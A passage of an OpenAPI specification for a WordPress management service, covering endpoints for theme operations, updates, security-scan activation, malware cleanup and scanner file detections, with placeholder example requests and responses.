"current_version": "1.0", "latest_version": "1.1", "active": true, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } ] } }, { "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708", "last_sync_at": "2026-01-12T09:15:00Z", "wp": { "themes": [ { "name": "Astra", "slug": "astra", "filename": "astra", "template": "astra", "current_version": "4.6.1", "latest_version": "4.6.1", "active": false, "update_available": false, "package_available": true, "locked": true, "active_child": false, "vulnerable": false } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "with_vulnerabilities": { "summary": "Response with vulnerability details", "value": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": true, "update_available": true, "package_available": true, "locked": false, "active_child": false, "security": { "vulnerable": true, "vulnerabilities": [ { "vulnerability_id": "7ac82f41", "title": "Theme stored XSS", "cve_id": "CVE-2026-22222", "ghsa_id": "GHSA-theme-2222-xss", "cvss_rating": "high", "cvss_score": 7.4, "patched_version": "1.1", "published_at": "2026-06-21T00:00:00Z", "virtual_patch": { "available": true, "mode": "inherit", "state": "live", "live_at": "2026-06-23T00:00:00Z", "applied": true, "applied_at": "2026-06-23T10:20:00Z" } } ] } } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 1 } } } } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesSiteIdsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes/install": { "post": { "tags": [ "WordPress Themes" ], "summary": "Install themes", "operationId": "installSitesWpThemes", "description": "Starts a background task to install WordPress.org themes on submitted\nsites.\n\nUse this when themes available from WordPress.org should be installed\non selected sites.\n\nSubmitted sites must be available to you.\n\nA successful response returns the task created for theme installation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/InstallSitesWpThemesRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "slug": "twentytwentyfour", "name": "Twenty Twenty-Four", "version": "1.1", "package": "https://downloads.wordpress.org/theme/twentytwentyfour.1.1.zip" } ] } ] } } } }, "responses": { "200": { "description": "Theme install task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/InstallSitesWpThemesResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesInstallBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesInstallUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes/upload": { "post": { "tags": [ "WordPress Themes" ], "summary": "Upload themes", "operationId": "uploadSitesWpThemes", "description": "Uploads a theme ZIP file and starts a background task to install it on\nsubmitted sites.\n\nUse this when a theme should be installed from a ZIP package you upload.\n\nThe request must use `multipart/form-data`. Submitted sites must be\navailable to you. The uploaded file must be a theme ZIP archive no larger\nthan 50 MB.\n\nA successful response returns the task created for theme upload.\n", "requestBody": { "required": true, "content": { "multipart/form-data": { "schema": { "$ref": "#/components/schemas/UploadSitesWpThemesRequest" }, "encoding": { "themes": { "style": "form", "explode": true } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ], "themes": { "file": "theme.zip" } } } } }, "responses": { "200": { "description": "Theme upload task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UploadSitesWpThemesResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesUploadBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesUploadUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes/activate": { "post": { "tags": [ "WordPress Themes" ], "summary": "Activate themes", "operationId": "activateSitesWpThemes", "description": "Starts a background task to activate installed themes on submitted\nsites.\n\nUse this when a theme should become active on selected sites.\n\nUse `filename` values from the theme list. Each `filename` must belong\nto a theme installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the task created for theme activation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ActivateSitesWpThemesRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } } } }, "responses": { "200": { "description": "Theme activation task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ActivateSitesWpThemesResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesOperationBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesThemeActionUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes/delete": { "post": { "tags": [ "WordPress Themes" ], "summary": "Delete themes", "operationId": "deleteSitesWpThemes", "description": "Starts a background task to delete installed themes from submitted\nsites.\n\nUse this when themes should be removed from selected sites.\n\nUse `filename` values from the theme list. Each `filename` must belong\nto a theme installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the task created for theme deletion.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSitesWpThemesRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } } } }, "responses": { "200": { "description": "Theme deletion task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSitesWpThemesResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesOperationBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesThemeActionUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes/lock": { "post": { "tags": [ "WordPress Themes" ], "summary": "Lock theme updates", "operationId": "lockSitesWpThemes", "description": "Locks theme updates for installed themes on submitted sites.\n\nUse this when specific themes should stay on their current version.\n\nUse `filename` values from the theme list. Each `filename` must belong\nto a theme installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the site IDs where theme updates were\nlocked.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/LockSitesWpThemesRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } } } }, "responses": { "200": { "description": "Theme updates were locked for the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/LockSitesWpThemesResponse" }, "example": { "lock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesLockBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesLockUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes/unlock": { "post": { "tags": [ "WordPress Themes" ], "summary": "Unlock theme updates", "operationId": "unlockSitesWpThemes", "description": "Removes theme update locks from installed themes on submitted sites.\n\nUse this when previously locked themes should be allowed to update\nagain.\n\nUse `filename` values from the theme list. Each `filename` must belong\nto a theme installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the site IDs where theme updates were\nunlocked.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnlockSitesWpThemesRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "filename": "twentytwentyfour" } ] } ] } } } }, "responses": { "200": { "description": "Theme updates were unlocked for the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnlockSitesWpThemesResponse" }, "example": { "unlock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "400": { "$ref": "#/components/responses/SitesWpThemesLockBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpThemesLockUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/updates": { "get": { "tags": [ "WordPress Updates" ], "summary": "List WordPress updates", "operationId": "listSitesWpUpdates", "description": "Returns available WordPress updates for sites available to you. Each\nsite can include WordPress core, plugin, and theme update details when\nmatching updates exist.\n\nUse this list to review available updates, compare installed and latest\nversions, find plugin or theme `filename` values for update requests, or\nfilter by update type.\n\nIf `site_ids` is omitted, all sites available to you are included.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `type`\n- Supported operators:\n - `in`: `type`\n- Allowed `type` values: `core`, `plugin`, `theme`\n- `filters[type:in][]` must be sent as an array\n- Example: `filters[type:in][]=plugin&filters[type:in][]=theme`\n- Omit `filters` to include all update types\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `id`, `last_sync_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `id,asc`\n- Example: `sort=last_sync_at,desc`\n\nA successful response returns a paginated list of available WordPress\nupdates by site.\n", "parameters": [ { "name": "site_ids", "in": "query", "required": false, "style": "form", "explode": true, "schema": { "$ref": "#/components/schemas/SiteIdsQuery" }, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSitesWpUpdatesSort" }, "description": "Sort order for returned WordPress updates by site.", "example": "last_sync_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SitesWpUpdateFilters" }, "description": "Filters applied to returned WordPress updates.", "example": { "type:in": [ "plugin", "theme" ] } } ], "responses": { "200": { "description": "WordPress updates were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesWpUpdatesResponse" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } ], "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": false, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } ], "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } } }, { "id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f", "last_sync_at": "2026-01-11T12:15:00Z", "wp": { "plugins": [], "themes": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SitesWpUpdatesInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUpdatesSiteIdsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/updates/perform": { "post": { "tags": [ "WordPress Updates" ], "summary": "Start WordPress updates", "operationId": "performSitesWpUpdates", "description": "Starts a background task to apply selected WordPress core, plugin, or\ntheme updates on submitted sites.\n\nUse this after listing updates when selected updates should be applied\nto one or more sites.\n\nSubmitted sites must be available to you. Each submitted site must\ninclude at least one update selection: `wordpress_core: true`,\n`plugins`, or `themes`. Use plugin and theme `filename` values from the\nupdates list. Do not set both `backup` and `sandbox` to `true`.\n\nA successful response returns the task created for WordPress updates.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/PerformSitesWpUpdatesRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "options": { "backup": true }, "plugins": [ { "filename": "akismet/akismet.php", "target_version": "5.3.3" } ] } ] } } } }, "responses": { "200": { "description": "WordPress update task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/PerformSitesWpUpdatesResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpUpdatesPerformBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUpdatesPerformUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/enable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Security Activation" ], "summary": "Enable site security", "operationId": "enableSiteSecurity", "description": "Enables security scanning for the selected site.\n\nUse this when the site should use security scanning. No request body is\nrequired.\n\nThe site plan must support Security.\n\nA successful response returns `security.enabled: true`.\n", "responses": { "200": { "description": "Security enabled successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/EnableSiteSecurityResponse" }, "example": { "security": { "enabled": true } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/disable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Security Activation" ], "summary": "Disable site security", "operationId": "disableSiteSecurity", "description": "Disables security scanning for the selected site.\n\nUse this when the site should stop using security scanning. No request\nbody is required.\n\nA successful response returns `security.enabled: false`.\n", "responses": { "200": { "description": "Security disabled successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisableSiteSecurityResponse" }, "example": { "security": { "enabled": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/cleanup/eligibility": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Cleanup" ], "summary": "Check cleanup eligibility", "operationId": "checkSiteSecurityScannerCleanupEligibility", "description": "Returns whether automatic malware cleanup can be started for one hacked\nWordPress site.\n\nUse this before starting cleanup to confirm whether the site is eligible\nand whether a cleanup credit is required.\n\nThe site must be hacked, have security enabled, have a successful\nmalware scan snapshot ready, have file or database malware that can be\ncleaned automatically, have no cleanup already in progress, and have\ncleanup plan or credit access.\n\nA successful response returns whether cleanup can be started and whether\na cleanup credit is required.\n", "responses": { "200": { "description": "Cleanup can be started for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CheckSiteSecurityScannerCleanupEligibilityResponse" }, "examples": { "plan_access": { "summary": "Plan or reusable access", "value": { "cleanup": { "eligible": true, "credit_required": false } } }, "credit_access": { "summary": "Cleanup credit access", "value": { "cleanup": { "eligible": true, "credit_required": true } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSecurityScannerCleanupEligibilityConflictResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityScannerCleanupEligibilityBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/cleanup": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Cleanup" ], "summary": "Start malware cleanup", "operationId": "startSiteSecurityScannerCleanup", "description": "Starts automatic malware cleanup for the selected hacked site.\n\nUse this when the site is eligible for automatic cleanup and cleanup\nshould start.\n\nThe request body uses the `cleanup` wrapper.\n`cleanup.connection.method` is required and accepts `http` or `ftp`.\nFTP cleanup requires `cleanup.connection.credentials.server` and\n`cleanup.connection.credentials.database`. HTTP Basic Auth credentials\nare optional and can be sent for both HTTP and FTP cleanup methods.\n\nOmitted post-cleanup booleans default to `false`.\n\nA successful response returns the cleanup task. Use the returned task ID\nwith Tasks to track progress.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteSecurityScannerCleanupRequest" }, "examples": { "http": { "summary": "HTTP connection", "value": { "cleanup": { "connection": { "method": "http" } } } }, "http_with_auth": { "summary": "HTTP connection with HTTP Basic Auth", "value": { "cleanup": { "connection": { "method": "http", "credentials": { "http_auth": { "username": "site_user", "password": "example-password" } } } } } }, "ftp": { "summary": "FTP connection", "value": { "cleanup": { "connection": { "method": "ftp", "credentials": { "server": { "protocol": "ftp", "host": "ftp.example.com", "username": "deploy", "password": "example-password", "path": "/public_html", "port": 21 }, "database": { "host": "localhost", "username": "db_user", "password": "example-password", "name": "wordpress" } } } } } }, "sftp_private_key": { "summary": "SFTP connection with private key", "value": { "cleanup": { "connection": { "method": "ftp", "credentials": { "server": { "protocol": "sftp", "host": "sftp.example.com", "username": "deploy", "private_key": "example-private-key", "path": "/public_html", "port": 22 }, "database": { "host": "localhost", "username": "db_user", "password": "example-password", "name": "wordpress" } } } } } }, "ftps": { "summary": "FTPS connection", "value": { "cleanup": { "connection": { "method": "ftp", "credentials": { "server": { "protocol": "ftps", "host": "ftps.example.com", "username": "deploy", "password": "example-password", "path": "/public_html", "port": 990 }, "database": { "host": "localhost", "username": "db_user", "password": "example-password", "name": "wordpress" } } } } } }, "post_cleanup_options": { "summary": "Post-cleanup options", "value": { "cleanup": { "connection": { "method": "http" }, "options": { "post_cleanup": { "update_security_keys": true, "clear_cache": true, "passwords": { "reset": true, "roles": [ "administrator", "editor" ] } } } } } } } } } }, "responses": { "201": { "description": "Cleanup task created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/StartSiteSecurityScannerCleanupResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerCleanupInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSecurityScannerCleanupCreateConflictResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityScannerCleanupBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/summary": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Detection Summary" ], "summary": "Show scanner detection summary", "operationId": "showSiteSecurityScannerDetectionsSummary", "description": "Returns counts of potentially malicious files, scripts, plugins, cron\njobs, and redirections for the selected site.\n\nUse this to compare counts by detection type and decide where review is\nneeded.\n\nThe response does not include individual detections. Use the related\ndetection lists to view affected file paths, script locations, plugin\nmetadata, cron job entries, and redirection destinations.\n\nIf `snapshot_id` is omitted, file, script, and cron job counts use the\nlatest completed scanner snapshot. Plugin and redirection counts always\nuse current detection data for the site, so `snapshot_id` does not\nchange them.\n\nA successful response returns grouped detection counts.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID returned in snapshot lists and details. When omitted, the latest completed scanner snapshot is used for file, script, and cron job counts.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "responses": { "200": { "description": "Scanner detection summary returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityScannerDetectionsSummaryResponse" }, "example": { "detections": { "files": { "total": 12, "marked_safe": 2 }, "scripts": { "total": 4, "marked_safe": 1 }, "plugins": { "total": 1 }, "cron_jobs": { "total": 2, "marked_safe": 0 }, "redirections": { "total": 3, "marked_safe": 1 } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionsForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionsNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/files": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "File Detections" ], "summary": "List file detections", "operationId": "listSiteSecurityScannerDetectionFiles", "description": "Returns file detections for the selected site. Each detection includes\nan ID, affected file path, detection time, and whether it is marked safe.\n\nUse this list to review affected file paths, filter detections by path\nor safe status, and collect detection IDs for content review or safe\nstatus changes.\n\nIf `snapshot_id` is omitted, the latest completed scanner snapshot is\nused.\n\nA successful response returns a paginated list of file detections.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `path`, `marked_safe`\n- Supported operators:\n - `contains`: `path`\n - `eq`: `path`, `marked_safe`\n- Boolean filters accept `true` or `false`\n- Example: `filters[path:contains]=wp-content`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `detected_at`, `path`, `marked_safe`, `id`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `detected_at,desc`\n- Example: `sort=detected_at,desc`\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionFilesSort" }, "description": "Sort order for returned file detections.", "example": "detected_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionFileFilters" }, "description": "Filters applied to returned file detections.", "example": { "path:contains": "wp-content", "marked_safe:eq": false } } ], "responses": { "200": { "description": "File detections were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionFilesResponse" }, "example": { "files": [ { "id": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=", "path": "./wp-content/themes/example/functions.php", "detected_at": "2026-05-25T07:40:00Z", "marked_safe": false }, { "id": "Ml8yMF9jMkZtWlM1d2FIQT1fYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmI=", "path": "./safe.php", "detected_at": "2026-05-24T07:40:00Z", "marked_safe": true } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesInvalidFilterResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/files/{id}/content": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." }, { "name": "id", "in": "path", "required": true, "schema": { "type": "string", "minLength": 1 }, "description": "File detection ID returned by the list response." } ], "get": { "tags": [ "File Detections" ], "summary": "Show file detection content", "operationId": "showSiteSecurityScannerDetectionFileContent", "description": "Returns content for one detected file as a base64-encoded string.\n\nUse this after listing file detections when a reviewer needs to inspect\nthe detected file. Decode `content` before displaying or saving it.\n\nIf `snapshot_id` is omitted, the latest completed scanner snapshot is\nused.\n\nA successful response returns base64-encoded file content.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "responses": { "200": { "description": "File detection content was returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityScannerDetectionFileContentResponse" }, "example": { "content": "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==" } } } }, "400": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFileInvalidIdResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFilesForbiddenResponse" }, "404": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFileNotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityScannerDetectionFileContentUnavailableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/scanner/detections/files/safe": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "File Detections" ], "summary": "Mark file detections as safe", "operationId": "markSiteSecurityScannerDetectionFilesSafe", "description": "Marks one or more file detections as safe for your account.\n\nUse this after reviewing file paths or content and confirming that the\nselected files are expected.\n\nSend file detection IDs returned by the list response. Duplicate IDs are\nprocessed once. If `snapshot_id` is omitted, the latest completed scanner\nsnapshot is used. On success, a site sync starts so the updated review\nstate can be applied.\n\nA successful response returns processed file detection IDs and counts.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/SnapshotId" }, "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" } ], "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionFilesSafeRequest" }, "example": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ] } } } }, "responses": { "200": { "description": "File detections were marked safe.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/MarkSiteSecurityScannerDetectionFilesSafeResponse" }, "example": { "safe": { "ids": [ "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": 